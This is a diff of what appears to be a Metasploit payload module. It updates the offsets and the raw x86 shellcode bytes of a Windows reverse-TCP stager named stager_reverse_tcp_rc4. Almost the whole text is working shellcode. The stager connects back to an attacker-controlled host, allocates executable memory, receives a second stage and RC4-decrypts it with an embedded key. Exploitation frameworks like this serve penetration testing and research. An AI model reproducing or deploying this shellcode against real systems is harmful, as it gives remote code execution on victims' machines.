@@ -33,40 +33,48 @@ def initialize(info = {})
3333 'RequiresMidstager' => false ,
3434 'Offsets' =>
3535 {
36- 'LHOST' => [ 197 , 'ADDR' ] ,
37- 'LPORT' => [ 204 , 'n' ] ,
38- 'ReverseConnectRetries' => [ 195 , 'C' ] ,
39- 'XORKey' => [ 252 , '' ] ,
40- 'RC4Key' => [ 316 , '' ] ,
36+ 'LHOST' => [ 194 , 'ADDR' ] ,
37+ 'LPORT' => [ 201 , 'n' ] ,
38+ 'ReverseConnectRetries' => [ 192 , 'C' ] ,
39+ 'XORKey' => [ 249 , '' ] ,
40+ 'RC4Key' => [ 313 , '' ] ,
4141 } ,
4242 'Payload' =>
43- # Length: 403 bytes
44- "\xFC \xE8 \x89 \x00 \x00 \x00 \x60 \x89 \xE5 \x31 \xD2 \x64 \x8B \x52 \x30 \x8B " +
43+
44+ # Name: stager_reverse_tcp_rc4
45+ # Length: 400 bytes
46+ # Port Offset: 201
47+ # Host Offset: 194
48+ # RetryCounter Offset: 192
49+ # ExitFunk Offset: 226
50+ # RC4Key Offset: 313
51+ # XORKey Offset: 249
52+ "\xFC \xE8 \x86 \x00 \x00 \x00 \x60 \x89 \xE5 \x31 \xD2 \x64 \x8B \x52 \x30 \x8B " +
4553 "\x52 \x0C \x8B \x52 \x14 \x8B \x72 \x28 \x0F \xB7 \x4A \x26 \x31 \xFF \x31 \xC0 " +
4654 "\xAC \x3C \x61 \x7C \x02 \x2C \x20 \xC1 \xCF \x0D \x01 \xC7 \xE2 \xF0 \x52 \x57 " +
47- "\x8B \x52 \x10 \x8B \x42 \x3C \x01 \xD0 \ x8B\x40 \ x78\x85 \xC0 \x74 \ x4A\x01 " +
48- "\xD0 \x50 \x8B \x48 \x18 \ x8B\x58 \x20 \x01 \xD3 \ xE3\x3C \x49 \x8B \x34 \x8B " +
49- "\x01 \xD6 \x31 \ xFF\x31 \xC0 \xAC \xC1 \xCF \x0D \x01 \xC7 \x38 \xE0 \x75 \xF4 " +
50- "\x03 \x7D \xF8 \ x3B\x7D \x24 \x75 \xE2 \x58 \x8B \x58 \x24 \x01 \xD3 \x66 \x8B " +
51- "\x0C \x4B \x8B \ x58\x1C \x01 \xD3 \x8B \x04 \x8B \x01 \xD0 \x89 \x44 \x24 \x24 " +
52- "\x5B \x5B \x61 \ x59\x5A \x51 \xFF \xE0 \x58 \x5F \x5A \x8B \x12 \xEB \x86 \x5D " +
53- "\x68 \x33 \x32 \ x00\x00 \x68 \x77 \x73 \x32 \x5F \x54 \x68 \x4C \x77 \x26 \x07 " +
54- "\xFF \xD5 \xB8 \ x90\x01 \x00 \x00 \x29 \xC4 \x54 \x50 \x68 \x29 \x80 \x6B \x00 " +
55- "\xFF \xD5 \ x50\x50 \x50 \x50 \ x40\x50 \x40 \x50 \x68 \xEA \x0F \xDF \xE0 \xFF " +
56- "\xD5 \x97 \x6A \ x05\x68 \x7F \x00 \x00 \x01 \x68 \x02 \x00 \x11 \x5C \x89 \xE6 " +
57- "\x6A \x10 \x56 \ x57\x68 \x99 \xA5 \x74 \x61 \xFF \xD5 \x85 \xC0 \x74 \x0C \xFF " +
58- "\x4E \x08 \x75 \ xEC\x68 \xF0 \xB5 \xA2 \x56 \xFF \xD5 \x6A \x00 \x6A \x04 \x56 " +
59- "\x57 \x68 \x02 \ xD9\xC8 \x5F \xFF \xD5 \x8B \x36 \x81 \xF6 \x58 \x4F \x52 \x4B " +
60- "\x8D \x0E \x6A \ x40\x68 \x00 \x10 \x00 \x00 \x51 \x6A \x00 \x68 \x58 \xA4 \x53 " +
61- "\xE5 \xFF \xD5 \ x8D\x98 \x00 \x01 \x00 \x00 \x53 \x56 \x50 \x6A \x00 \x56 \x53 " +
62- "\x57 \x68 \x02 \ xD9\xC8 \x5F \xFF \xD5 \x01 \xC3 \x29 \xC6 \x85 \xF6 \x75 \xEC " +
63- "\x5B \x59 \x5D \ x55\x57 \x89 \xDF \xE8 \x10 \x00 \x00 \x00 \x52 \x43 \x34 \x4B " +
64- "\x65 \x79 \x4D \x65 \ x74\x61 \x73 \x70 \x6C \x6F \x69 \x74 \x5E \x31 \xC0 \xAA " +
65- "\xFE \xC0 \x75 \ xFB\x81 \xEF \x00 \x01 \x00 \x00 \x31 \xDB \x02 \x1C \x07 \x89 " +
66- "\xC2 \x80 \xE2 \ x0F\x02 \x1C \x16 \x8A \x14 \x07 \x86 \x14 \x1F \x88 \x14 \x07 " +
67- "\xFE \xC0 \x75 \ xE8\x31 \xDB \xFE \xC0 \x02 \x1C \x07 \x8A \x14 \x07 \x86 \x14 " +
68- "\x1F \x88 \x14 \ x07\x02 \x14 \x1F \x8A \x14 \x17 \x30 \x55 \x00 \x45 \x49 \x75 " +
69- " \xE5 \x5F \xC3 "
55+ "\x8B \x52 \x10 \x8B \x42 \x3C \x8B \x4C \x10 \ x78\xE3 \ x4A\x01 \xD1 \x51 \x8B " +
56+ "\x59 \x20 \x01 \xD3 \ x8B\x49 \x18 \ xE3\x3C \x49 \x8B \x34 \x8B \x01 \xD6 \x31 " +
57+ "\xFF \x31 \xC0 \xAC \xC1 \xCF \x0D \x01 \xC7 \x38 \xE0 \x75 \xF4 \x03 \x7D \xF8 " +
58+ "\x3B \x7D \x24 \x75 \xE2 \x58 \x8B \x58 \x24 \x01 \xD3 \x66 \x8B \x0C \x4B \x8B " +
59+ "\x58 \x1C \x01 \xD3 \x8B \x04 \x8B \x01 \xD0 \x89 \x44 \x24 \x24 \x5B \x5B \x61 " +
60+ "\x59 \x5A \x51 \xFF \xE0 \x58 \x5F \x5A \x8B \x12 \xEB \x89 \x5D \x68 \x33 \x32 " +
61+ "\x00 \x00 \x68 \x77 \x73 \x32 \x5F \x54 \x68 \x4C \x77 \x26 \x07 \xFF \xD5 \xB8 " +
62+ "\x90 \x01 \x00 \x00 \x29 \xC4 \x54 \x50 \x68 \x29 \x80 \x6B \x00 \xFF \xD5 \x50 " +
63+ "\x50 \x50 \x50 \x40 \x50 \x40 \x50 \x68 \xEA \x0F \xDF \xE0 \xFF \xD5 \x97 \x6A " +
64+ "\x05 \x68 \x7F \x00 \x00 \x01 \x68 \x02 \x00 \x11 \x5C \x89 \xE6 \x6A \x10 \x56 " +
65+ "\x57 \x68 \x99 \xA5 \x74 \x61 \xFF \xD5 \x85 \xC0 \x74 \x0C \xFF \x4E \x08 \x75 " +
66+ "\xEC \x68 \xF0 \xB5 \xA2 \x56 \xFF \xD5 \x6A \x00 \x6A \x04 \x56 \x57 \x68 \x02 " +
67+ "\xD9 \xC8 \x5F \xFF \xD5 \x8B \x36 \x81 \xF6 \x58 \x4F \x52 \x4B \x8D \x0E \x6A " +
68+ "\x40 \x68 \x00 \x10 \x00 \x00 \x51 \x6A \x00 \x68 \x58 \xA4 \x53 \xE5 \xFF \xD5 " +
69+ "\x8D \x98 \x00 \x01 \x00 \x00 \x53 \x56 \x50 \x6A \x00 \x56 \x53 \x57 \x68 \x02 " +
70+ "\xD9 \xC8 \x5F \xFF \xD5 \x01 \xC3 \x29 \xC6 \x85 \xF6 \x75 \xEC \x5B \x59 \x5D " +
71+ "\x55 \x57 \x89 \xDF \xE8 \x10 \x00 \x00 \x00 \x52 \x43 \x34 \x4B \x65 \x79 \x4D " +
72+ "\x65 \x74 \x61 \x73 \x70 \x6C \x6F \x69 \x74 \x5E \x31 \xC0 \xAA \xFE \xC0 \x75 " +
73+ "\xFB \x81 \xEF \x00 \x01 \x00 \x00 \x31 \xDB \x02 \x1C \x07 \x89 \xC2 \x80 \xE2 " +
74+ "\x0F \x02 \x1C \x16 \x8A \x14 \x07 \x86 \x14 \x1F \x88 \x14 \x07 \xFE \xC0 \x75 " +
75+ "\xE8 \x31 \xDB \xFE \xC0 \x02 \x1C \x07 \x8A \x14 \x07 \x86 \x14 \x1F \x88 \x14 " +
76+ "\x07 \x02 \x14 \x1F \x8A \x14 \x17 \x30 \x55 \x00 \x45 \x49 \x75 \xE5 \x5F \xC3 "
77+
7078 }
7179 ) )
7280
0 commit comments